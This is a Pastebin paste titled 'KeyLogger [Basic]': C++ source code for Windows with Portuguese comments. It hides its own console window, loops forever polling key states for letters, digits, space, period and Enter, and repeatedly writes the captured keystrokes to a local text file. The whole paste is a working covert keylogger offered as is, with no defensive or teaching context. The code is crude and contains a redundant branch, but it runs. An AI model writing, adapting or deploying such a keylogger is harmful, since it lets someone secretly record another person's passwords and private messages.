DarkProgrammer000

KeyLogger [Basic]

Dec 1st, 2018
285
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /// Bibliotecas
  2. #include <fstream>
  3. #include <iostream>
  4. #include <string.h>
  5. #include <windows.h>
  6. using namespace std;
  7.  
  8. /// Programa
  9. int main ( int argc, char *argv[] )
  10. {
  11.     // Tela Prompt: Invisível
  12.     FreeConsole();
  13.  
  14.     // Construtor [ Objeto Arquivo ]
  15.     fstream Arquivo;
  16.  
  17.     // Criação de Arquivo [Externo]: Spy.txt
  18.     ofstream("Arquivo.txt");
  19.  
  20.     // Inicialização de Variáveis
  21.     string teclas = "";
  22.  
  23.     // Estrutura de Repetição Infinita: Captura de Teclas [Hexadecimal]
  24.     while(1)
  25.     {
  26.         // ALFABETO: [A - Z]
  27.         if ( GetAsyncKeyState(0x41) )
  28.         {
  29.             teclas += "a";
  30.             Sleep(200);
  31.         }
  32.  
  33.         else if( GetAsyncKeyState(0x42))
  34.         {
  35.             teclas += "b";
  36.             Sleep(200);
  37.         }
  38.  
  39.         else if ( GetAsyncKeyState(0x43) )
  40.         {
  41.             teclas += "c";
  42.             Sleep(200);
  43.         }
  44.  
  45.         else if ( GetAsyncKeyState(0x44) )
  46.         {
  47.             teclas += "d";
  48.             Sleep(200);
  49.         }
  50.  
  51.         else if ( GetAsyncKeyState(0x45) )
  52.         {
  53.             teclas += "e";
  54.             Sleep(200);
  55.         }
  56.  
  57.         else if ( GetAsyncKeyState(0x46) )
  58.         {
  59.             teclas += "f";
  60.             Sleep(200);
  61.         }
  62.  
  63.         else if ( GetAsyncKeyState(0x47) )
  64.         {
  65.             teclas += "g";
  66.             Sleep(200);
  67.         }
  68.  
  69.         else if ( GetAsyncKeyState(0x48) )
  70.         {
  71.             teclas += "h";
  72.             Sleep(200);
  73.         }
  74.  
  75.         else if ( GetAsyncKeyState(0x49) )
  76.         {
  77.             teclas += "i";
  78.             Sleep(200);
  79.         }
  80.  
  81.         else if ( GetAsyncKeyState(0x4a) )
  82.         {
  83.             teclas += "j";
  84.             Sleep(200);
  85.         }
  86.  
  87.         else if ( GetAsyncKeyState(0x4b) )
  88.         {
  89.             teclas += "k";
  90.             Sleep(200);
  91.         }
  92.  
  93.         else if ( GetAsyncKeyState(0x4c) )
  94.         {
  95.             teclas += "l";
  96.             Sleep(200);
  97.         }
  98.  
  99.         else if ( GetAsyncKeyState(0x4d) )
  100.         {
  101.             teclas += "m";
  102.             Sleep(200);
  103.         }
  104.  
  105.         else if ( GetAsyncKeyState(0x4e) )
  106.         {
  107.             teclas += "n";
  108.             Sleep(200);
  109.         }
  110.  
  111.         else if ( GetAsyncKeyState(0x4f) )
  112.         {
  113.             teclas += "o";
  114.             Sleep(200);
  115.         }
  116.  
  117.         else if ( GetAsyncKeyState(0x50) )
  118.         {
  119.             teclas += "p";
  120.             Sleep(200);
  121.         }
  122.  
  123.         else if ( GetAsyncKeyState(0x51) )
  124.         {
  125.             teclas += "q";
  126.             Sleep(200);
  127.         }
  128.  
  129.         else if ( GetAsyncKeyState(0x52) )
  130.         {
  131.             teclas += "r";
  132.             Sleep(200);
  133.         }
  134.  
  135.         else if ( GetAsyncKeyState(0x53) )
  136.         {
  137.             teclas += "s";
  138.             Sleep(200);
  139.         }
  140.  
  141.          else if ( GetAsyncKeyState(0x54) )
  142.         {
  143.             teclas += "t";
  144.             Sleep(200);
  145.         }
  146.  
  147.         else if ( GetAsyncKeyState(0x55) )
  148.         {
  149.             teclas += "u";
  150.             Sleep(200);
  151.         }
  152.  
  153.         else if ( GetAsyncKeyState(0x56) )
  154.         {
  155.             teclas += "v";
  156.             Sleep(200);
  157.         }
  158.  
  159.         else if ( GetAsyncKeyState(0x57) )
  160.         {
  161.             teclas += "w";
  162.             Sleep(200);
  163.         }
  164.  
  165.         else if ( GetAsyncKeyState(0x58) )
  166.         {
  167.             teclas += "x";
  168.             Sleep(200);
  169.         }
  170.  
  171.         else if ( GetAsyncKeyState(0x59) )
  172.         {
  173.             teclas += "y";
  174.             Sleep(200);
  175.         }
  176.  
  177.         else if ( GetAsyncKeyState(0x5a) )
  178.         {
  179.             teclas += "z";
  180.             Sleep(200);
  181.         }
  182.  
  183.         else if( GetAsyncKeyState(0x5A) )
  184.         {
  185.             teclas += "z";
  186.             Sleep(200);
  187.         }
  188.  
  189.         else if( GetAsyncKeyState(VK_SPACE) )
  190.         {
  191.             teclas += " ";
  192.             Sleep(200);
  193.         }
  194.  
  195.         else if( GetAsyncKeyState(0x6E) )
  196.         {
  197.             teclas += ".";
  198.             Sleep(200);
  199.         }
  200.  
  201.         else if( GetAsyncKeyState(0x0d) )
  202.         {
  203.             teclas += "<br>";
  204.             Sleep(200);
  205.         }
  206.  
  207.         else if( GetAsyncKeyState(0x30) )
  208.         {
  209.             teclas += "0";
  210.             Sleep(200);
  211.         }
  212.  
  213.         else if( GetAsyncKeyState(0x31) )
  214.         {
  215.             teclas += "1";
  216.             Sleep(200);
  217.         }
  218.  
  219.         else if( GetAsyncKeyState(0x32) )
  220.         {
  221.             teclas += "2";
  222.             Sleep(200);
  223.         }
  224.  
  225.         else if( GetAsyncKeyState(0x33) )
  226.         {
  227.             teclas += "3";
  228.             Sleep(200);
  229.         }
  230.  
  231.         else if( GetAsyncKeyState(0x34) )
  232.         {
  233.             teclas += "4";
  234.             Sleep(200);
  235.         }
  236.  
  237.         else if( GetAsyncKeyState(0x35) )
  238.         {
  239.             teclas += "5";
  240.             Sleep(200);
  241.         }
  242.  
  243.         else if( GetAsyncKeyState(0x36) )
  244.         {
  245.             teclas += "6";
  246.             Sleep(200);
  247.         }
  248.  
  249.         else if( GetAsyncKeyState(0x37) )
  250.         {
  251.             teclas += "7";
  252.             Sleep(200);
  253.         }
  254.  
  255.         else if( GetAsyncKeyState(0x38) )
  256.         {
  257.             teclas += "8";
  258.             Sleep(200);
  259.         }
  260.  
  261.         else if( GetAsyncKeyState(0x39) )
  262.         {
  263.             teclas += "9";
  264.             Sleep(200);
  265.         }
  266.  
  267.         // Abertura de Arquivo + Inserção de Teclas + Fechamento de Arquivo
  268.         Arquivo.open("Arquivo.txt");
  269.         Arquivo << teclas;
  270.         Arquivo.close();
  271.     }
  272.  
  273.     return (0);
  274. }
RAW Paste Data